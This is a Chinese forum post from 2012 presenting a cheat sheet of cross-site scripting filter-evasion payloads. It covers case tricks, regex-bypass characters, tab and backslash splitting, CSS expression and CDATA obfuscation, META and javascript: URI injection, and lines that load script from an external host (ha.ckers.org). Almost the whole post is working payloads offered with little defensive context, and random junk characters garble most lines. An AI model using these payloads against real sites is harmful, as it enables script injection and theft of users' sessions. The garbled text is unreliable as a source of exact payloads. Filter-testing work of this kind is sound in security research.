找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2271|回复: 0
打印 上一主题 下一主题

Cross Site Scripting(XSS)攻击手法介绍

[复制链接]
跳转到指定楼层
楼主
发表于 2012-12-31 09:59:28 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1. 改变字符大小写; e2 G3 U( H. j6 U5 V

+ Z% s3 S' X( F$ j # x/ u; g& p. U' L- |$ \2 Y) q

; |3 A! `; R5 S    <sCript>alert(‘d’)</scRipT>* q5 s. f3 V1 A7 p/ v

2 L" [$ Y1 N" \8 y2. 利用多加一些其它字符来规避Regular Expression的检查  o, ]  w( {, G7 f  c/ t

, i( `( @% t3 u) ?* ]. ~. `# E    <<script>alert(‘c’)//<</script>
- C3 Q' B/ I4 Z9 q/ `( U: m7 e  {: P/ k
    <SCRIPT a=">" SRC="t.js"></SCRIPT>- C, e+ f% K& l4 j% q8 a/ w
+ x' |) j) `! T" U. G
    <SCRIPT =">" SRC="t.js"></SCRIPT>1 {, t6 q4 z4 s9 P5 V. t1 ^1 L
" ]" f! ~, `% r
    <SCRIPT a=">" ” SRC="t.js"></SCRIPT>
8 v! g2 a% J  F- X: t2 f- Y$ h  p
! E4 [: K. K' B# u    <SCRIPT "a=’>’" SRC="t.js"></SCRIPT>
( R/ C3 @) \( k1 A$ V1 E3 L% N1 P
% _" _- g3 `( O+ F/ \    <SCRIPT a=`>` SRC="t.js"></SCRIPT>, l+ B: G) J2 ^, X4 w# u& X1 {, ^
: F2 v0 @0 W$ o. Z+ V& n# C5 {
    <SCRIPT a=">’>" SRC="t.js"></SCRIPT>
8 ]& k/ p1 P2 f* Z- f1 `& R3 {3 R, h. |/ C0 a- V
3. 以其它扩展名取代.js
( K4 q- |2 G0 q; P/ O) G
/ y7 ]" T3 G. n    <script src="bad.jpg"></script>
' [7 ?# X; U+ s# a
- B; |" T8 t4 T8 N4. 将Javascript写在CSS档里
5 b) u2 t  W- G
7 Q3 i  D6 e% n+ M5 ?    <LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">5 u# q$ r, ~/ \% t- i. c5 A2 B: O* I

0 e% e1 f. \9 T; d9 u4 S/ g       example:# _7 G' T9 I, E  D
; a4 S9 D2 @6 F3 q
          body {/ d) |, k  j1 F- ~- ]: o/ X
- r; N3 k$ p& ^5 y. B
               background-image: url(‘javascript:alert("XSS");’)
' _1 B( K; Y! P& A# m% N( Y5 {5 D
          }
" C0 P, [$ k$ Q  w4 ^
8 ?+ D; C4 w( a* \0 y5. 在script的tag里加入一些其它字符) z" {& X! d2 x7 D' s% b5 B

; ?/ s) ]4 z  e' S    <SCRIPT/SRC="t.js"></SCRIPT>  H; Y; o3 ^3 W* g1 c

5 c; j/ n. x6 B( z0 v    <SCRIPT/anyword SRC="t.js"></SCRIPT>0 v! X: O0 o% j; e5 f6 z

% T  `, w" h2 g/ P! d: Y6. 使用tab或是new line来规避
& v5 @0 d; l) T9 |0 [, k4 V8 J, m0 k* {3 v2 N* G: E& k) P  u4 y% \7 C
    <img src="jav ascr ipt:alert(‘XSS3′)">
! i0 u( r0 Z% X' H4 r! m8 F$ _. p
& r% f( D' a" ~    <img src="jav ascr ipt:alert(‘XSS3′)">7 |) |* h- n  m4 @$ m- y8 _
/ h" k# o" }+ `( p( q1 J+ _) F
    <IMG SRC="jav ascript:alert(‘XSS’);">
6 z* z+ S* j% s/ N1 X- b% I1 g4 u* M! \% T- p4 s
         -> tag
' H4 G5 O6 c  d$ E' Z8 S6 B) N' ^$ }- w% N5 C: Z( p$ O# P* q
         -> new line
% E- ?" I5 z& H9 p/ k% [( S$ d+ m- v6 w  Z) s+ F; O
7. 使用"\"来规避6 p' C2 @6 Z" y$ @% r' r

6 l9 x2 ~: B, O! c5 B: `' k    <STYLE>@im\port’\ja\vasc\ript:alert("XSS32")’;</STYLE>: s4 j6 g- G6 _2 f) G0 W

) M5 }' l3 K* T5 m$ K1 i    <IMG STYLE=’xss:expre\ssion(alert("XSS33"))’>) Z# y7 J# K4 W4 U, y/ Z
1 Y  M  G7 ?3 f* ~7 c' s2 j9 L  ?
    <IMG STYLE="xss:expr/*anyword*/ession(alert(‘sss’))">/ c7 L6 U2 j3 T* z/ O/ V
. `9 j% f: b% P8 k4 O6 h0 W' H  Z7 k
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">5 N* P& g3 M2 B$ j' C* {6 y$ s

! e. B& w3 I) P- a9 ?# G    <A STYLE=’no\xss:noxss("*//*"); xss:ex/*XSS*//*/*/pression(alert("XSS"))’>) }3 p+ E- P' L! s

/ m# H0 y  E/ ^% d- v5 e) h* g8. 使用Hex encode来规避(也可能会把";"拿掉): v; [/ v& v9 N: ?" ?( s
8 K& f  e6 E! j. z! |
    <DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
3 o2 v: r4 G2 T4 Y3 N, ~) w1 }0 K; H  f8 T1 J
        原始码:<DIV STYLE="width: expre\ssi\on(alert(‘XSS31′));">
  j0 Z) k# F* f" T, q. p$ L* q; P- x  Y$ j. n& C4 n. j
    <META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">$ `% m# J& B, j

: H( p7 q+ d, g0 w" [0 P5 N        原始码:<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(‘abc’);">
8 @5 n# E3 q2 a, E8 V
) o$ O6 ~- b. c0 _9. script in HTML tag
& a) s# b+ B( B5 ^
+ \' ^7 l9 z( m" J  o    <body onload=」alert(‘onload’)」>0 M" k) Z! _# U! e) K

/ K& M% {- v8 w4 r. L  b1 G5 ^        onabort, onactivate, onafterprint, onafterupdate, onbeforeactivate, onbeforecopy, onbeforecut, onbeforedeactivate, onbeforeeditfocus, onbeforepaste, onbeforeprint, onbeforeunload, onbeforeupdate, onblur, onbounce, oncellchange, onchange, onclick, oncontextmenu, oncontrolselect, oncopy, oncut, ondataavailable, ondatasetchanged, ondatasetcomplete, ondblclick, ondeactivate, ondrag, ondragend, ondragenter, ondragleave, ondragover, ondragstart, ondrop, onerror, onerrorupdate, onfilterchange, onfinish, onfocus, onfocusin, onfocusout, onhelp, onkeydown, onkeypress, onkeyup, onlayoutcomplete, onload, onlosecapture, onmousedown, onmouseenter, onmouseleave, onmousemove, onmouseout, onmouseover, onmouseup, onmousewheel, onmove, onmoveend, onmovestart, onpaste, onpropertychange, onreadystatechange, onreset, onresize, onresizeend, onresizestart, onrowenter, onrowexit, onrowsdelete, onrowsinserted, onscroll, onselect, onselectionchange, onselectstart, onstart, onstop, onsubmit, onunload& D$ j6 j4 r+ @

: A# P/ \# A6 h' t% T5 M' Q10. 在swf里含有xss的code& E3 f! A" X( K" |( O1 Z

- R' r: }* K+ a# b) K    <EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>$ i9 N: C4 W$ `. I) y
6 J  R. S; Z2 t  e9 C! w
11. 利用CDATA将xss的code拆开,再组合起来。7 w7 N% {& \" E" _6 I& l

  c' Z/ h9 `# ~8 \7 J# y- v$ }4 |    <XML ID=I><X><C>
0 N. C7 t5 V' [+ E( P9 i* D+ \8 G5 M7 w) U. F# N. i
    <![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>) y+ Z8 P- q8 U( n, P% k& |9 l

' t- I' s% c& F3 r    </C></X>
7 d/ z0 m4 b" A. Z* W$ z
* O8 s- l  n4 t  G. {% s    </xml>$ l( k  I6 p% T- g3 e" z
; l8 i# G& [0 z* n
    <SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
: |. j' F  i  h0 ~, V5 @+ Q0 O# ^- O% u7 b: V) S; e
    <XML ID="xss"><I><B><IMG SRC="javas<!– –>cript:alert(‘XSS’)"></B></I></XML>
; O) x" K' H- G! ]0 q& Z; y
; n/ O: N% t1 e7 I3 a7 O    <SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN># J1 \; B' v- C: o3 L4 }. K$ e( L
! B( C# C( j6 c5 ^6 |
12. 利用HTML+TIME。0 k! w  b/ R* o0 T7 P5 t7 s

& |- r9 h( @/ |0 e0 p! v- a! u    <HTML><BODY>( p7 j" Z$ D7 m) |  [! p
/ ]; E1 \9 z7 g6 w$ X4 F1 ?
    <?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
- O3 B1 s) K2 B
, P% N3 h6 O' t$ B    <?import namespace="t" implementation="#default#time2">$ Y: W7 f' J1 H" B6 J3 t3 P+ ^
/ a" P/ w# W0 O
    <t:set attributeName="innerHTML" to="anyword<SCRIPTDEFER>alert("XSS")</SCRIPT>">4 n0 y& Y6 F+ Q+ N% ^6 k8 Q' G

2 A3 ~# i$ ?9 w" _    </BODY></HTML>! J' ?/ T: y' E( F% M
, F$ ]7 F$ l1 Y- c
13. 透过META写入Cookie。
) A( e5 v+ K) Q- p4 U% }; Q
/ W; g* Y4 W: N% q* i$ p    <META HTTP-EQUIV="Set-Cookie" Content="USERID=<SCRIPT>alert(‘XSS’)</SCRIPT>">
0 X" c- G/ _6 ]( E% f' {/ ~$ U) ]
  Z' u  {& a4 n6 Q14. javascript in src , href , url
# w% k5 v2 s+ P/ M" r" x
: C6 M0 ]- c: y) m+ F2 P$ g    <IFRAME SRC=javascript:alert(’13′)></IFRAME>
' @) [' R  E* j, r0 m( L$ @8 _: b3 C& ^
    <img src="javascript:alert(‘XSS3′)">
0 G/ E$ z7 {0 H: T' q0 Q
) ^3 y: ?. A9 f* L- o. Z<IMG DYNSRC="javascript:alert(‘XSS20′)">4 K/ J5 {0 j1 \# h9 Q
1 c. y* D6 b7 x+ ^5 y- e/ V3 e
    <IMG LOWSRC="javascript:alert(‘XSS21′)">
& L4 z- u6 z' Q: a' S: }$ N/ {0 D
    <LINK REL="stylesheet" HREF="javascript:alert(‘XSS24′);">
3 {! k  ?5 N1 Q+ D
+ f  Y- ~$ A5 g    <IFRAME SRC=javascript:alert(‘XSS27′)></IFRAME>+ r3 c8 V9 F7 w- x

$ d3 P: W* H; \1 e    <TABLE BACKGROUND="javascript:alert(‘XSS29′)">7 h& l* b; U& Z6 r
7 `4 w; M# T( p
    <DIV STYLE="background-image: url(javascript:alert(‘XSS30′))">
+ d3 W7 g* g8 f( p( D4 R; u. k9 {* x) e* |$ z. f; \8 _& p* P
    <STYLE TYPE="text/css">.XSS{background image:url("javascript:alert(‘XSS35′)");}
7 p3 \' I6 Q2 G7 B( m( w; t  }- o6 k! U  c
    </STYLE><A CLASS=XSS></A>
6 n2 _" B) a  w+ M
- c4 w5 z) \% ]4 V; K    <FRAMESET><FRAME SRC="javascript:alert(‘XSS’);"></FRAMESET>
# c1 V' S0 _' z8 v
8 J5 o: j. |- x* p) m  G
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表